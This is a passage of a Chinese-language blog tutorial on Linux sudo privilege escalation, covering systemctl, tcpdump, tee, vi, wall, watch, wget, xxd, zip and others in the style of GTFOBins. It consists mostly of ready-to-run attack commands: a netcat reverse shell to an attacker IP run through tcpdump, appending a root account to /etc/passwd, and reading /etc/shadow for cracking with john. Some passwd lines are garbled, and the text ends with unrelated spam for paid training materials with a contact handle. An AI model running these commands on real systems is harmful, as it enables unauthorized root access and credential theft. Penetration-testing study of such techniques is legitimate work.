systemctl的提权有很多方式,此处演示较为常用的一种:
sudo systemctl
!/bin/bash
这种提权思路和利用编辑器的提权有些类似,都是通过!告诉系统要执行的系统命令。
sudo tcpdump
利用前提
当前用户可以以sudo高级权限运行tcpdump,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/sbin/tcpdump
利用详情可见tcpdump | GTFOBins,tcpdump是常用的监听、捕获网络流量的工具。
操作方式
tcpdump可以将捕获的一个流量数据包传递给某个脚本进行处理,那么我们可以写一个提权的脚本,并使用tcpdump的高权限进行提权。vim getRoot.sh,脚本采用反弹shell的逻辑,getRoot.sh的内容如下:
mknod getRoot_pipe p && /bin/nc 10.10.10.128 4444 0<getRoot_pipe | /bin/bash 1>getRoot_pipe
其中getRoot_pipe是我们建立的一个管道,使用nc回连kali的地址(我这里写作10.10.10.128的4444端口,读者根据自己的情况修改),后面的0<getRoot_pipe | /bin/bash 1>getRoot_pipe是对输入和输出的重定向。给我们写的脚本getRoot.sh添加执行权限“
chmod +x getRoot.sh
接下来回到kali中建立nc监听4444端口:
nc -lvnp 4444
接下来执行提权,命令如下:
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z getRoot.sh -Z root
其中-ln表示使用数字形式显示ip地址和端口号,不进行反向解析,-i指定网卡,此处指定的网卡是eth0,建议使用ip a查看网卡名称,-w /dev/null表示将捕获的数据包直接丢掉(此处我们并不需要捕获数据包,只要符合对应的参数格式即可)。-W 1表示限制每个文件的大小最大为1,达到限制后会进行切换。-G 1表示1s后轮换到下一个文件。-z getRoot.sh给定处理数据包的脚本,此处就是含有提权逻辑的脚本getRoot.sh。-Z root表示用root权限进行操作。执行后即可触发反弹shell,在kali中可以看到nc监听的4444端口拿到了root的shell。
sudo tee
利用前提
当前用户可以以sudo高级权限运行tee,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/tee
利用详情可见tee | GTFOBins,tee也是linux的常用工具,可以将输入中读取的数据写入到文件的同时输出到标准输出中。tee其实是一个象形文字,字母T好似有三个方向。
操作方式
此时的tee工具具有root的写权限,可以利用这一点,将新用户写到passwd中,从而实现提权。首先要做一些准备工作,在kali中用openssl生成一个passwd格式的hash:
openssl passwd -1 -salt newUser ‘123456’
此时生成了一个哈希值,对应新用户newUser及其密码123456,然后根据/etc/passwd的格式构造newUser的信息:
newUser: 1 1 1newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash
然后通过tee将上述行添加到/etc/passwd中:
echo ‘newUser: 1 1 1newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash’ | sudo tee -a /etc/passwd
通过-a参数将echo的内容追加到/etc/passwd中,下面我们切换到newUsers账户即可实现提权:
su newUser
123456
123456是我们刚刚设定的密码。此时就会提升为root了,查看/etc/passwd可以发现最后一行是我们刚才追加的newUser: 1 1 1newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash
sudo timedatectl
利用前提
当前用户可以以sudo高级权限运行timedatectl,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/timedatectl
利用详情可见timedatectl | GTFOBins,timedatectl有子命令,可以列出时区,其显示时区的方式类似linux中的文档查看,所以有类似less/more这样的提权方式。
操作方式
类似less/more的提权方式:
sudo timedatectl list-timezones
!/bin/bash
其中list-timezones是列出时区的子命令。运行sudo timedatectl list-timezones会显示类似less/more查看的方式,键入感叹号!表示执行系统命令。
sudo tmux
利用前提
当前用户可以以sudo高级权限运行tmux,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/tmux
利用详情可见tmux | GTFOBins,tmux是我们的老熟人了,常见的终端复用工具,与screen类似。本质就是通过启动新的shell实现终端复用
操作方式
由于tmux本身就是用于启动新的shell,此处直接sudo即可提权。
sudo tmux
sudo vi
利用前提
当前用户可以以sudo高级权限运行vi,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/vi
利用详情可见vi | GTFOBins,vi也是非常常见的编辑器,其利用提权方式也代表了一类操作。
操作方式
sudo启动vi编辑器后,通过执行系统命令启动bash即可提权:
sudo vi
:!/bin/bash
运行sudo vi后,会进入vi编辑器的编辑页面
输入冒号:表示进入命令模式,感叹号!表示执行系统命令。运行上述命令即可实现提权。也可以直接输入以下命令直接提权:
sudo vi -c ‘:!/bin/bash’ /dev/null
这样的操作看起来更加优雅,其中-c表示执行命令。由于我们不需要用vi编辑打开任何文件,因此直接输入/dev/null即可。
sudo wall
利用前提
当前用户可以以sudo高级权限运行wall,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/wall
利用详情可见wall | GTFOBins,wall是广播消息的命令,可以发送一条消息到所有打开的终端窗口,这是一种系统中进行通讯的方法,常用于系统管理员告知所有用户系统即将进行的操作,比如重启或通知,用户终端用wall就可以读取广播消息文件,如果wall具有sudo权限则可以读取任何文本文件。
操作方式
既然wall具有sudo权限则可以读取任何文本文件,那么我们就可以用他读取敏感文件,比如/etc/shadow。操作方式如下:
sudo wall --nobanner /etc/shadow
此时即可读取shadow文件,–nobanner表示不显示广播头信息(包含了信息发送的源数据),如果不添加这个参数,wall在读取文件显示文件内容之前会显示一行广播头信息,这是我们不想要的。读出shadow文件后,可以将root的shadow哈希进行破解。我们可以把root的hash命名为passwordhash,然后在kali中找个字典破解,类似下面这样:
john passwordhash --wordlist=/usr/share/wordlists/rockyou.txt
如果能破解出来,那么就可以用这个密码作为凭据进行提权了(su切换root账户,然后输入破解出的密码),不过如果不是弱口令的话也很难破解出来。
sudo watch
利用前提
当前用户可以以sudo高级权限运行watch,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/watch
利用详情可见watch | GTFOBins,watch是在linux系统上周期性执行命令并显示结果的程序,默认每2s执行一次指定命令。
操作方式
参数-x可以在命令行输出每次执行的命令,利用此参数即可进行提权,具体运行的命令如下:
sudo watch -x bash -c ‘reset; exec bash 1>&0 2>&0’
bash -c表示想要执行的命令。'reset; exec bash 1>&0 2>&0’作用是:reset初始化终端,exec bash执行bash,1>&0 2>&0将输入和错误都重定向到标准输入,完成闭环信息流。
sudo wget
利用前提
当前用户可以以sudo高级权限运行wget,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/wget
利用详情可见wget | GTFOBins。wget大家应该很熟悉了,是一个下载工具。
操作方式
参数-O可以将下载的内容重写到某个特定位置,这是一种提权思路。本文讲解的是利用参数–use-askpass。当使用密码时,会调用一个程序获取密码,这种机制可以尝试进行提权,详见GTFOBins。具体操作如下,首先形成一个指向用mktemp生成的临时文件的变量TF:
TF=$(mktemp)
给这个临时文件添加执行权限:
chmod +x $TF
此时临时文件是空文件,我们需要用echo在其中加入提权逻辑:
echo -e ‘#!/bin/bash\n/bin/bash 1>&0’ >$TF
\n是换行符,反斜杠\原本在单引号中是不生效的,因此要在echo中加入参数-e,将反斜杠\表示为转义。接下来通过wget的–use-askpass参数执行提权操作:
sudo wget --use-askpass=$TF 0
其中0仅仅是用于参数补齐,此处本来应该填写待下载的文件。 当需要使用密码时,会调用一个程序获取密码,而此处我们将这个原本应该是用于密码处理的程序改为了我们的提权程序,借用wget的root权限执行了这个提权程序,实现了root。过程如下图
sudo xxd
利用前提
当前用户可以以sudo高级权限运行xxd,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/xxd
利用详情可见xxd | GTFOBins,xxd是一个用于将二进制文件和十六进制文件相互转换的工具。
操作方式
既然xxd可以用来读取并编码解码文件,那么我们可以利用其高权限读取敏感文件,比如读取/etc/shadow。
sudo xxd /etc/shadow | xxd -r
xxd /etc/shadow会读取shadow并进行编码,再用xxd -r进行解码,相当于可以读取shadow的原始内容。接下来的操作就是破解shadow中root账户的密码hash,前面的sudo wall已经提到方法,此处不赘述。
sudo zip
利用前提
当前用户可以以sudo高级权限运行zip,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/zip
利用详情可见zip | GTFOBins,zip是非常常用的压缩工具。
操作方式
zip有两个常用选项可以用来提权,其一是-T参数,用来检测压缩文件的完整性,其二是-TT,表示指定一个程序去检测压缩包的完整性。因此我们可以用-TT指定含有提权逻辑的程序,实现root。
sudo zip foo /etc/hosts -T -TT ‘bash #’
其中zip foo /etc/hosts表示将/etc/hosts压缩,压缩后的文件命名为foo,当然此时我们并不关心压缩啥生成啥,可以任意起名,压缩任意一个文件。#表示注释忽略后面的内容 ,我们仅仅是想启动bash而已。运行此命令即可提权为root。
总结与思考
本文介绍了19种常见的sudo提权方式,主要还是利用了系统对可执行文件/工具的高权限配置,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的19种提权方式强行来一个简要的分类,纯属个人理解,如果有总结不到位的地方还请读者多多指出。
可直接启动终端/shell:sudo screen, sudo tmux, sudo script
可直接执行系统命令:sudo sed
通过某些参数间接执行系统命令: sudo socat, sudo ssh, sudo watch, sudo zip
将bash作为待处理的对象启动:sudo strace, sudo service
利用某些含有提权逻辑的文件:sudo ssh-keygen, sudo tcpdump, sudo wget
类似编辑器中执行系统命令:sudo systemctl, sudo vi
类似在less环境执行系统命令: sudo timedatectl
通过对敏感文件的修改或覆盖:sudo tee
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数软件测试工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年软件测试全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上软件测试开发知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加V获取:vip1024b (备注软件测试)
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
存中…(img-wDRyS1vk-1712784580712)]
[外链图片转存中…(img-WWabM85c-1712784580712)]
[外链图片转存中…(img-G0ymCTyv-1712784580713)]
[外链图片转存中…(img-NoE6SUeL-1712784580713)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上软件测试开发知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加V获取:vip1024b (备注软件测试)
[外链图片转存中…(img-O3dmffB8-1712784580713)]
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!